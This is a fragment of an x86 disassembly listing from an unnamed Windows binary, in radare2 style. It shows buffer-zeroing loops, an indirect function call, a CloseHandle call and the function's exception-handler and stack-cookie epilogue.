jge 0x570ae1
mov eax, dword [ebp - 0x84c]
shl eax, 1
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 0xc
jae 0x570acd
jmp 0x570ad2
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8c8]
mov word [ebp + ecx - 0x38], ax
jmp 0x570a9e
push 1
push 0
push dword [ebp + 8]
lea ecx, [ebp - 0x478]
call fcn.009cf8d7
push eax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x38]
push eax
push 0
call dword [ebp - 0xa38]
mov dword [ebp - 0xa18], eax
mov dword [ebp - 0x87c], 0x208
lea eax, [ebp - 0x474]
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x87c], 0
je 0x570b51
mov eax, dword [ebp - 0x8b8]
mov byte [eax], 0
mov eax, dword [ebp - 0x8b8]
inc eax
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0x87c]
dec eax
mov dword [ebp - 0x87c], eax
jmp 0x570b23
cmp dword [ebp - 0xa18], 0x20
jle 0x570b6d
mov byte [ebp - 0x669], 1
mov eax, dword [ebp + 8]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x478]
call fcn.009cf6d0
mov al, byte [ebp - 0x669]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.009ec059
leave
ret